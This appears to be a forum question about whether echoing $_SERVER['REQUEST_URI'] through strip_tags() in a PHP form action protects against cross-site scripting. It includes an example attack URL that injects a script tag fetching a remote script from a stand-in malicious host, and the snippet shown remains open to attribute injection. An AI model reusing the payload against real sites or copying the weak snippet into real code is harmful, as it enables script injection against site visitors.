With forms I've always used
<form method="post" action="<?php echo strip_tags($_SERVER['REQUEST_URI']); ?>">
To get my forms to submit to themselves.
I use striptags()
in case someone links to:
http://www.mysite.com/page-with-form.php?bla="><script src="http://www.nasty.com/super-nasty.js"></script><a href="#
Have I covered all bases, to secure from XSS attacks, or should I use a more whitelist approach, say a regex that only allows alphanumerical characters, the forward slash, question mark, equals sign, parenthesis etc?
Thank you!